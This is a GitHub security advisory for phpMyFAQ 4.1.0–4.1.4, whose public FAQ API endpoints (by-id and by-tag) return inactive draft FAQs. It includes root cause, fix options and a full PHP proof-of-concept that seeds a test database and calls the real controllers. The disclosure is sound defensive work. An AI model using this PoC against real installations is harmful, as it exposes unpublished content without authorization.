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phpMyFAQ public FAQ APIs expose inactive FAQ content

Moderate severity GitHub Reviewed Published Jun 14, 2026 in thorsten/phpMyFAQ • Updated Aug 25, 2026

Package

composer phpmyfaq/phpmyfaq (Composer)

Affected versions

>= 4.1.0, <= 4.1.4

Patched versions

4.1.5
composer thorsten/phpmyfaq (Composer)
>= 4.1.0, <= 4.1.4
4.1.5

Description

Affected Product

phpMyFAQ

Affected Versions

  • Confirmed affected: 4.1.4, API v3.1.
  • Confirmed affected: current main / 4.2-style source, API v4.0, for GET /api/v4.0/faqs/tags/{tagId} when api.onlyActiveFaqs=true.

Patched Versions

4.1.5.

Description

The public FAQ API applies inconsistent active = 'yes' filtering across endpoints. A FAQ entry marked active = 'no' is hidden from GET /api/v3.1/faqs/{categoryId} in phpMyFAQ 4.1.4, but the same inactive FAQ can still be retrieved through public API routes:

  • GET /api/v3.1/faq/{categoryId}/{faqId} returns the inactive FAQ title and full answer.
  • GET /api/v3.1/faqs/tags/{tagId} returns the inactive FAQ title and answer preview.

On the current 4.2-style branch, api.onlyActiveFaqs=true hides inactive FAQs from list and direct-by-id endpoints, but GET /api/v4.0/faqs/tags/{tagId} still returns inactive FAQ title and preview because it calls Faq::getFaqsByIds() without active/date filtering.

Inactive FAQs are commonly used as drafts or review-only content, so these unauthenticated public API paths may disclose non-public content.

Root Cause

FaqController::getByCategoryId() calls Faq::getAllAvailableFaqsByCategoryId(), which filters:

fd.date_start <= now
AND fd.date_end >= now
AND fd.active = 'yes'

FaqController::getByTagId() instead resolves record IDs through Tags::getFaqsByTagId() and then calls Faq::getFaqsByIds($recordIds).

Faq::getFaqsByIds() filters by record ID, language, and permission, but does not filter fd.active = 'yes' or publication date windows before returning record_title and record_preview.

In phpMyFAQ 4.1.4, FaqController::getById() calls Faq::getFaqByIdAndCategoryId(), which also lacks an inactive/publication-window filter and returns the full answer.

Proof of Concept

The attached PoC uses phpMyFAQ's real Composer autoloader, real public FaqController, and a temporary copy of tests/test.db.

Run from a local phpMyFAQ 4.1.4 source checkout after dependencies are installed and tests/test.db exists:

php poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4

Expected output:

phpMyFAQ version: 4.1.4
Inserted FAQ: id=991414, active=no, anonymous-readable, category=991414, tag=991414

GET /api/v3.1/faqs/991414 status: 200
Category response contains inactive title: no

GET /api/v3.1/faq/991414/991414 status: 200
Direct-by-id response contains inactive full title+answer: yes

GET /api/v3.1/faqs/tags/991414 status: 200
Tag response contains inactive title+preview: yes

VERDICT: reproduced inactive FAQ exposure through public API controller paths.

Suggested Fix

Apply one consistent public visibility check across all public FAQ API routes:

  • fd.active = 'yes'
  • fd.date_start <= now
  • fd.date_end >= now

Suggested implementation options:

  • Add Faq::getActiveFaqsByIds(array $faqIds) and use it in public tag API routes.
  • Or add an $onlyActive / $publicOnly argument to Faq::getFaqsByIds() and default public controllers to enabled filtering.
  • Update Faq::getFaqByIdAndCategoryId() or the public controller wrapper so inactive records return 404 for unauthenticated public API requests.
  • Add regression tests with an inactive, anonymous-readable FAQ that has both category and tag relations.

Reporter Credit

Please credit:

Yaohui Wang

CVE Request

Because this is unauthenticated exposure of inactive / non-public FAQ content through public API endpoints in a supported release line, please consider assigning a GHSA and requesting a CVE if it meets the project's advisory criteria.

Full PoC Source

<?php

declare(strict_types=1);

/*
 * PoC for phpMyFAQ 4.1.4 inactive FAQ exposure through public FAQ APIs.
 *
 * Usage from a phpMyFAQ 4.1.4 source checkout:
 *   php path/to/poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4
 *
 * If no path is provided, the current working directory is used.
 *
 * This is a local-only defensive harness. It uses phpMyFAQ's real Composer
 * autoloader, real public API controller, and a temporary copy of tests/test.db.
 */

use phpMyFAQ\Configuration;
use phpMyFAQ\Controller\Api\FaqController;
use phpMyFAQ\Database;
use phpMyFAQ\Database\DatabaseDriver;
use phpMyFAQ\Language;
use phpMyFAQ\Strings;
use phpMyFAQ\System;
use phpMyFAQ\Translation;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Session\Session;
use Symfony\Component\HttpFoundation\Session\Storage\MockArraySessionStorage;

$repoRoot = $argv[1] ?? getcwd();
$repoRoot = realpath($repoRoot);
if ($repoRoot === false || !is_dir($repoRoot . '/phpmyfaq')) {
    fwrite(STDERR, "Usage: php " . basename(__FILE__) . " /path/to/phpMyFAQ-4.1.4\n");
    exit(2);
}

if (!is_file($repoRoot . '/phpmyfaq/src/autoload.php')) {
    fwrite(STDERR, "Missing phpmyfaq/src/autoload.php. Run composer install first.\n");
    exit(2);
}

if (!is_file($repoRoot . '/tests/test.db')) {
    fwrite(STDERR, "Missing tests/test.db. Run a phpMyFAQ PHPUnit test once to create it.\n");
    exit(2);
}

define('PMF_ROOT_DIR', $repoRoot . '/phpmyfaq');
define('PMF_CONFIG_DIR', $repoRoot . '/tests/content/core/config');
define('PMF_CONTENT_DIR', $repoRoot . '/tests/content');
define('PMF_TEST_DIR', $repoRoot . '/tests');
define('PMF_LOG_DIR', sys_get_temp_dir() . '/phpmyfaq_414_inactive_faq_api_poc.log');
const IS_VALID_PHPMYFAQ = true;

$_SERVER['HTTP_HOST'] = 'localhost';
$_SERVER['SERVER_NAME'] = 'localhost';
$_SERVER['REQUEST_TIME'] = time();

require PMF_ROOT_DIR . '/src/constants.php';
require PMF_ROOT_DIR . '/content/core/config/constants.php';
require PMF_ROOT_DIR . '/translations/language_en.php';
require PMF_ROOT_DIR . '/src/autoload.php';

function pocQuery(DatabaseDriver $db, string $sql): void
{
    $result = $db->query($sql);
    if ($result === false) {
        throw new RuntimeException('SQL failed: ' . $db->error() . "\nSQL: " . $sql);
    }
}

$tempDb = tempnam(sys_get_temp_dir(), 'pmf-414-api-poc-');
if ($tempDb === false || !copy($repoRoot . '/tests/test.db', $tempDb)) {
    fwrite(STDERR, "Cannot create temporary SQLite database.\n");
    exit(2);
}

try {
    Strings::init();
    Translation::create()
        ->setTranslationsDir(PMF_ROOT_DIR . '/translations')
        ->setDefaultLanguage('en')
        ->setCurrentLanguage('en')
        ->setMultiByteLanguage();

    Database::setTablePrefix('');
    $db = Database::factory('pdo_sqlite');
    if (!$db instanceof DatabaseDriver) {
        throw new RuntimeException('Could not create PDO SQLite database driver.');
    }

    $db->connect($tempDb, '', '');

    $configuration = new Configuration($db);
    $configuration->getAll();
    $configuration->set('api.enableAccess', 'true');
    $configuration->set('main.currentVersion', System::getVersion());
    $configuration->set('main.language', 'en');
    $configuration->set('main.referenceURL', 'https://localhost/');
    $configuration->set('security.enableLoginOnly', 'false');
    $configuration->set('security.permLevel', 'basic');
    $configuration->set('records.numberOfRecordsPerPage', '25');
    $configuration->getAll();

    $session = new Session(new MockArraySessionStorage());
    $language = new Language($configuration, $session);
    $language->setLanguageFromConfiguration('en');
    $configuration->setLanguage($language);

    $faqId = 991414;
    $tagId = 991414;
    $categoryId = 991414;
    $question = 'Inactive tagged API probe 4.1.4';
    $answer = 'This inactive FAQ preview is returned by the public tag API in phpMyFAQ 4.1.4.';

    pocQuery($db, sprintf('DELETE FROM faqdata_tags WHERE record_id = %d OR tagging_id = %d', $faqId, $tagId));
    pocQuery($db, sprintf('DELETE FROM faqtags WHERE tagging_id = %d', $tagId));
    pocQuery($db, sprintf('DELETE FROM faqdata_user WHERE record_id = %d', $faqId));
    pocQuery($db, sprintf('DELETE FROM faqdata_group WHERE record_id = %d', $faqId));
    pocQuery($db, sprintf('DELETE FROM faqvisits WHERE id = %d', $faqId));
    pocQuery($db, sprintf('DELETE FROM faqcategoryrelations WHERE record_id = %d', $faqId));
    pocQuery($db, sprintf('DELETE FROM faqdata WHERE id = %d', $faqId));

    pocQuery($db, sprintf(
        "INSERT INTO faqdata
            (id, lang, solution_id, revision_id, active, sticky, keywords, thema, content, author, email, comment, updated, date_start, date_end, created, notes, sticky_order)
         VALUES
            (%d, 'en', %d, 0, 'no', 0, 'probe', '%s', '%s', 'Probe', 'probe@example.test', 'y', '20260601010101', '00000000000000', '99991231235959', '2026-06-01 01:01:01', '', 0)",
        $faqId,
        $faqId,
        $db->escape($question),
        $db->escape($answer),
    ));
    pocQuery($db, sprintf(
        "INSERT INTO faqcategoryrelations (category_id, category_lang, record_id, record_lang)
         VALUES (%d, 'en', %d, 'en')",
        $categoryId,
        $faqId,
    ));
    pocQuery($db, sprintf('INSERT INTO faqdata_user (record_id, user_id) VALUES (%d, -1)', $faqId));
    pocQuery($db, sprintf("INSERT INTO faqvisits (id, lang, visits, last_visit) VALUES (%d, 'en', 0, 20260601010101)", $faqId));
    pocQuery($db, sprintf("INSERT INTO faqtags (tagging_id, tagging_name) VALUES (%d, 'probe-private-414')", $tagId));
    pocQuery($db, sprintf('INSERT INTO faqdata_tags (record_id, tagging_id) VALUES (%d, %d)', $faqId, $tagId));

    $controller = new FaqController();

    $categoryRequest = Request::create('/api/v3.1/faqs/' . $categoryId, 'GET');
    $categoryRequest->attributes->set('categoryId', (string) $categoryId);
    $categoryResponse = $controller->getByCategoryId($categoryRequest);
    $categoryContainsProbe = str_contains((string) $categoryResponse->getContent(), $question);

    $directRequest = Request::create('/api/v3.1/faq/' . $categoryId . '/' . $faqId, 'GET');
    $directRequest->attributes->set('categoryId', (string) $categoryId);
    $directRequest->attributes->set('faqId', (string) $faqId);
    $directResponse = $controller->getById($directRequest);
    $directContainsProbe = str_contains((string) $directResponse->getContent(), $question)
        && str_contains((string) $directResponse->getContent(), $answer);

    $tagRequest = Request::create('/api/v3.1/faqs/tags/' . $tagId, 'GET');
    $tagRequest->attributes->set('tagId', (string) $tagId);
    $tagResponse = $controller->getByTagId($tagRequest);
    $tagPayload = json_decode((string) $tagResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);
    $tagContainsProbe = str_contains((string) $tagResponse->getContent(), $question)
        && str_contains((string) $tagResponse->getContent(), 'inactive FAQ preview');

    echo "phpMyFAQ version: " . System::getVersion() . "\n";
    echo "Inserted FAQ: id={$faqId}, active=no, anonymous-readable, category={$categoryId}, tag={$tagId}\n\n";
    echo "GET /api/v3.1/faqs/{$categoryId} status: " . $categoryResponse->getStatusCode() . "\n";
    echo "Category response contains inactive title: " . ($categoryContainsProbe ? 'yes' : 'no') . "\n\n";
    echo "GET /api/v3.1/faq/{$categoryId}/{$faqId} status: " . $directResponse->getStatusCode() . "\n";
    echo "Direct-by-id response contains inactive full title+answer: " . ($directContainsProbe ? 'yes' : 'no') . "\n\n";
    echo "GET /api/v3.1/faqs/tags/{$tagId} status: " . $tagResponse->getStatusCode() . "\n";
    echo "Tag response contains inactive title+preview: " . ($tagContainsProbe ? 'yes' : 'no') . "\n";
    echo json_encode($tagPayload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . "\n\n";

    if (!$categoryContainsProbe && $directContainsProbe && $tagContainsProbe) {
        echo "VERDICT: reproduced inactive FAQ exposure through public API controller paths.\n";
        exit(0);
    }

    echo "VERDICT: not reproduced.\n";
    exit(1);
} finally {
    if (isset($tempDb) && is_file($tempDb)) {
        @unlink($tempDb);
    }
}

References

@thorsten thorsten published to thorsten/phpMyFAQ Jun 14, 2026
Published to the GitHub Advisory Database Aug 25, 2026
Reviewed Aug 25, 2026
Last updated Aug 25, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

EPSS score

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-mf8r-wm2w-f8c5

Source code

Credits

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